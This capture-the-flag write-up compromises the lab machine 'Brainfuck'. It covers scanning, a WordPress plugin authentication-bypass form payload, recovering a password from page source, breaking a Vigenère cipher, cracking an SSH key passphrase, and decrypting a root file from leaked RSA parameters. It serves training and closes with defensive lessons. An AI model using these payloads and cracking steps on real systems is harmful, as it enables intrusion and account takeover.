First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.
nmap -sC -sV -O -oA initial 10.10.10.17
-sC: run default nmap scripts
-sV: detect service version
-O: detect OS
-oA: output all formats and store in file initial
We get back the following result showing that five ports are open:
Port 22: running OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
Port 25: running Postfix smtpd
Port 110: running Dovecot pop3d
Ports 143: running Dovecot imapd
Ports 443: running nginx 1.10.0
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-25 09:49 ESTStats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 60.00% done; ETC: 09:50 (0:00:04 remaining)Nmap scan report for 10.10.10.17Host is up (0.043s latency).Not shown: 995 filtered portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)25/tcp open smtp Postfix smtpd|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,110/tcp open pop3 Dovecot pop3d|_pop3-capabilities: CAPA SASL(PLAIN) TOP RESP-CODES USER AUTH-RESP-CODE PIPELINING UIDL143/tcp open imap Dovecot imapd|_imap-capabilities: LOGIN-REFERRALS more have OK LITERAL+ ENABLE IMAP4rev1 AUTH=PLAINA0001 capabilities SASL-IR IDLE listed ID post-login Pre-login443/tcp open ssl/http nginx 1.10.0 (Ubuntu)|_http-server-header: nginx/1.10.0 (Ubuntu)|_http-title: Welcome to nginx!| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb| Not valid before: 2017-04-13T11:19:29|_Not valid after: 2027-04-11T11:19:29|_ssl-date: TLS randomness does not represent time| tls-alpn:|_ http/1.1| tls-nextprotoneg:|_ http/1.1Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)No exact OS matches for host (test conditions non-ideal).Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 56.02 seconds
Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.
Let’s run an nmap scan that covers all ports.
nmap -sC -sV -p- -oA full 10.10.10.17
No other ports are open. Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.
nmap -sU -p- -oA udp 10.10.10.17
We get back the following result showing that no ports are open.
Before we move on to enumeration, let’s make a few mental notes about the nmap scan results.
The version of SSH being used is not associated with any critical vulnerabilities, so port 22 is unlikely to be our point of entry. We’ll need credentials for this service.
Port 443 is running HTTPS. The index page gives us the title “Welcome to nginx!”. This is likely a configuration issue where the IP address doesn’t know what hostname it should map to in order to serve a specific site and so instead it’s serving the ngnix default page. To fix this issue we’ll need to first figure out the list of hostnames that resolve to this IP address and then add these hostnames to our /etc/hosts file. From the nmap scan, we get three possible hostnames: brainfuck.htb, www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb.
Ports 25, 143 and 110 are running mail protocols. We might need to find a valid email address to further enumerate these services.
Add the following hostnames to the /etc/hosts file on your attack machine.
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb
I always start off with enumerating HTTP first. In this case only port 443 is open so we’ll start there.
First, let’s visit the site brainfuck.htb. After adding a security exception, we get the following page.
This is a WordPress site and we all know that WordPress is associated with SO MANY vulnerabilities. However, before we run a WordPress vulnerability scanner on this site, let’s look at the certificate information to see if it leaks any useful information.
To do that, click on the lock icon > Show Connection Details.
Then click More Information > View Certificate > Details. There, we see that the Issuer field gives us the email address [email protected] that might be useful when enumerating the open mail protocol ports. This email can also be found on the website.
Next, let’s run the WordPress vulnerability scanner on the site.
wpscan --url https://brainfuck.htb --disable-tls-checks --api-token <redacted>
— url: The URL of the blog to scan.
— disable-tls-checks: Disables SSL/TLS certificate verification.
— api-token: The WPVulnDB API Token to display vulnerability data
The following is a summary of the results found by the wpscan.
The WordPress version identified is 4.7.3.
The identified version of WordPress contains 44 vulnerabilities.
The WP Support Plus Responsive Ticket System plugin is installed.
The identified version of WP Support Plus Responsive Ticket System plugin contains 4 vulnerabilities.
Out of all the vulnerabilities identified, one particular vulnerability does stand out.
| [!] Title: WP Support Plus Responsive Ticket System <= 8.0.7 - Remote Code Execution (RCE)| Fixed in: 8.0.8| References:| - https://wpvulndb.com/vulnerabilities/8949| - https://plugins.trac.wordpress.org/changeset/1763596/wp-support-plus-responsive-ticket-system
I tried this vulnerability, however, it did not work out. So, let’s check if searchsploit generates any other vulnerabilities.
searchsploit WP Support Plus Responsive Ticket System
We get back the following result.
Let’s look at the privilege escalation vulnerability.
According to the documentation, this vulnerability allows you to bypass authentication by logging in as anyone without knowing the password. You do however need a valid username for the attack to work. Therefore, let’s use wpscan to enumerate usernames.
wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u
— enumerate u: enumerates usernames.
We get back the following result.
Both “admin” and “administrator” are valid usernames. Now that we have a valid username, let’s attempt to exploit the vulnerability.
Copy the POC code from the vulnerability entry on searchsploit and save it in the file priv-esc.html. Change the URL to the name of the machine.
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">Username: <input type="text" name="username" value="administrator"><input type="hidden" name="email" value="sth"><input type="hidden" name="action" value="loginGuestFacebook"><input type="submit" value="Login"></form>
Get the location of the exploit file on the attack machine.
Run it in the browser and login as administrator.
Refresh the brainfuck.htb page and we’re logged in as administrator!
There doesn’t seem to be much functionality available for this user. Therefore, let’s try the ‘admin’ user next. Perform the same exploit again except with the username being ‘admin’.
On the top tab click on Brainfuck Ltd. > Themes. Then click on Plugins > Settings on the Easy WP SMTP plugin. There, we find the SMTP configuration settings with the SMTP username and SMTP masked password.
Right click on the password field and view page source.
The user’s password is kHGuERB29DNiNE. Let’s use the mail client Evolution to log into orestis’s email. If you don’t have Evolution installed on your kali, you can install it using the following command.
sudo apt-get install evolution
Open up the Evolution mail client. Click on File > New > Mail Account. On the Welcome page click Next. There, enter the name orestis in the Full Name field and [email protected] in the Email Address field.
Click Next. In the Receiving Email window, add brainfuck.htb as the Server, 143 as the Port and orestis as the Username.
Click Next > Next. In the Sending Email window, add brainfuck.htb as the Server, 25 as the Port and No encryption as the Encryption method.
Click Next > Next. You’ll be prompted with an authentication request. Add the password kHGuERB29DNiNE and click OK. Now we can see orestis’s mail!
The Form Access Details email gives us another set of credentials.
Remember that in the enumeration phase, we had three hostnames that we added to our hosts file. Since the email mentions a “secret” forum, let’s check out the sup3rs3cr3t.brainfuck.htb website. On the website, when you click on Log In, you’re presented with a login page. Enter our newly found credentials there.
We’re logged in as orestis! Click on the SSH Access thread.
Based on the comments made there, orestis seems to have lost his SSH key and wants the admin to send it to him on an encrypted thread. One other thing we notice is that orestis always signs his message with the “Orestis — Hacking for fun and profit” phrase.
The encrypted thread orestis is referencing is the Key thread.
There, you’ll notice that orestis’s comments are signed with the same message we saw above except the message is in encrypted form. However, with each comment, the generated cipher text for the phrase is different. Therefore, the admin might be using the Vigenère cipher which is a variation of a Caesar substitution cipher that uses a keyword and repeats it until it matches the length of the plaintext. Then the equivalent letter of the keyword is used to encrypt its corresponding plaintext letter. Therefore, the same plaintext can generate multiple different cipher texts.
Since we do have the plaintext and its corresponding cipher text, we can deduce the key since this cipher is vulnerable to a known plaintext attack. This page explains it really well, therefore I won’t explain how to do it.
I wrote a python script to automate the process of finding the key.
plaintext = "OrestisHackingforfunandprofit"ciphertext = "PieagnmJkoijegnbwzwxmlegrwsnn"key = ""for i in range(len(plaintext)):num_key = ((ord(ciphertext[i]) - ord(plaintext[i])) % 26) + 97char_key = chr(num_key)key = key + char_keyprint key
The script loops through the cipher text string and takes each character in order and converts it to the integer representation of that character. Then it subtracts that value from the integer representation of the corresponding character in the plaintext string and applies the modulus of 26 since there are 26 alphabets. This gives you a value between 0 and 25 inclusive. However, since the “chr” function that turns an integer to its character value depends on the ASCII table where 97 represents “a”, 98 represents “b”, etc. I had to add 97 to the integer value. After it loops through the entire cipher text it prints the key.
Let’s run the script.
We get back the following result.
As mentioned earlier, the Vigenère cipher uses a keyword and repeats it until it matches the length of the plaintext. Therefore, we can deduce that the key is fuckmybrain. Now that we have the key, we can use it to decrypt the admin’s statement using this online tool.
Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :)mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr
We get back the following text.
There you go you stupid fuck, I hope you remember your key password because I dont :)https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
We’re one step closer! We have a link to the RSA private key that seems to be encrypted since the admin mentions a “key password” in the comment. Visit the link to download the RSA key. We get back the following encrypted key.
Before we use John the Ripper (JtR) to crack the password used to encrypt the private key, we need to convert the file into JtR format. To do that I use the sshng2john.py script.
python sshng2john.py ~/Desktop/htb/brainfuck/id_rsa > ~/Desktop/htb/brainfuck/ssh-key
Now we can use JtR to crack the password.
john ssh-key --wordlist=/usr/share/wordlists/rockyou.txt
We get back the following result.
Using default input encoding: UTF-8Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashesCost 2 (iteration count) is 1 for all loaded hashesWill run 4 OpenMP threadsNote: This format may emit false positives, so it will keep trying even afterfinding a possible candidate.Press 'q' or Ctrl-C to abort, almost any other key for status3poulakia! (/root/Desktop/htb/brainfuck/id_rsa)Warning: Only 2 candidates left, minimum 4 needed for performance.1g 0:00:00:12 DONE (2019-12-26 16:53) 0.08223g/s 1179Kp/s 1179Kc/s 1179KC/sa6_123..*7¡Vamos!Session completed
It cracked the password! Let’s use the key and password to SSH into orestis’s machine.
First change the permissions on the encrypted RSA private key.
chmod 600 id_rsa
Then SSH into the machine.
ssh -i id_rsa [email protected]
We finally gained an initial foothold!
Grab the user.txt flag.
We need to escalate privileges.
List the files in orestis’s home directory.
[email protected]:~$ ls -latotal 60drwxr-xr-x 7 orestis orestis 4096 Apr 29 2017 .drwxr-xr-x 3 root root 4096 Apr 13 2017 ..-rw------- 1 root root 1 Dec 24 2017 .bash_history-rw-r--r-- 1 orestis orestis 220 Apr 13 2017 .bash_logout-rw-r--r-- 1 orestis orestis 3771 Apr 13 2017 .bashrcdrwx------ 2 orestis orestis 4096 Apr 29 2017 .cachedrwxr-xr-x 3 root root 4096 Apr 17 2017 .composer-rw------- 1 orestis orestis 619 Apr 29 2017 debug.txt-rw-rw-r-- 1 orestis orestis 580 Apr 29 2017 encrypt.sagedrwx------ 3 orestis orestis 4096 Apr 29 2017 mail-rw------- 1 orestis orestis 329 Apr 29 2017 output.txt-rw-r--r-- 1 orestis orestis 655 Apr 13 2017 .profiledrwx------ 8 orestis orestis 4096 Apr 29 2017 .sagedrwx------ 2 orestis orestis 4096 Apr 17 2017 .ssh-r-------- 1 orestis orestis 33 Apr 29 2017 user.txt
View the content of encrypt.sage.
[email protected]:~$ cat encrypt.sagenbits = 1024password = open("/root/root.txt").read().strip()enc_pass = open("output.txt","w")debug = open("debug.txt","w")m = Integer(int(password.encode('hex'),16))p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)n = p*qphi = (p-1)*(q-1)e = ZZ.random_element(phi)while gcd(e, phi) != 1:e = ZZ.random_element(phi)c = pow(m, e, n)enc_pass.write('Encrypted Password: '+str(c)+'\n')debug.write(str(p)+'\n')debug.write(str(q)+'\n')debug.write(str(e)+'\n')
It seems to be performing RSA encryption. First, it opens the root.txt file and uses its value as a parameter in the encryption. The encrypted password is written in the output.txt file. It also logs parameters in the debug.txt file.
Parameters p, q and e are logged in the debug file which we have read/write access to. Since we have both p and q, we can calculate n=p*q, phi=(p-1)(q-1). We also have c since it’s written in the output.txt file which we have read/write access to. So we can calculate m from the equation c = pow(m,e,n).
Instead of doing that by hand, someone already wrote a script for it. First modify the script to include our values.
def egcd(a, b):x,y, u,v = 0,1, 1,0while a != 0:q, r = b//a, b%am, n = x-u*q, y-v*qb,a, x,y, u,v = a,r, u,v, m,ngcd = breturn gcd, x, ydef main():p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182# compute nn = p * q# Compute phi(n)phi = (p - 1) * (q - 1)# Compute modular inverse of egcd, a, b = egcd(e, phi)d = aprint( "n: " + str(d) );# Decrypt ciphertextpt = pow(ct, d, n)print( "pt: " + str(pt) )# Added codeflag = hex(pt)flag = str(flag[2:-1])print flag.decode("hex")if __name__ == "__main__":main()
I also added code that converts the string to ASCII. Run the script.
The output gives you the content of the root.txt file.
n: 8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977pt: 246040520294013860499802969537842870790592458678809669442466628493415070037506ef****************************** #redacted
To gain an initial foothold on the box we exploited five vulnerabilities.
A known vulnerability in the WordPress version that is being used to host the website. This could have been easily avoided if the patched version was installed.
A password saved in the SMTP configuration settings. Although the password is masked, the plaintext password can be easily viewed in the source code. If the configuration settings does not require that the password be saved on the website, then the user should clear the password and enter the password every time they use the service.
A password stored in plaintext in the email. Again, if it is necessary that the password be transmitted by email, the user should have been prompted to change the password upon the first login.
The forums used the Vigenère Cipher which is known to be vulnerable to a known plaintext attack. Since we had both the cipher text and the corresponding plaintext, we were able to figure out the encryption key.
A weak password was used to encrypt the RSA private key. Since the password was really weak, it only took JtR a couple of seconds to decrypt it. The user should have used a sufficiently long password that is difficult to crack. Similarly, the user should have used a password manager to store the RSA private key instead of having to ask the admin to post it on the website.
To escalate privileges I exploited one vulnerability.
A file that was executed by root was used to encrypt the root.txt file using the RSA algorithm. However, the file outputted the “p”, “q” and “e” parameters used in the RSA encryption and therefore we were able to decrypt the cipher text. So this technically exploited two vulnerabilities: (1) sensitive information disclosure of RSA parameters and (2) security misconfiguration that gave a non-privileged user the ability to read the debug.txt file which contained sensitive information.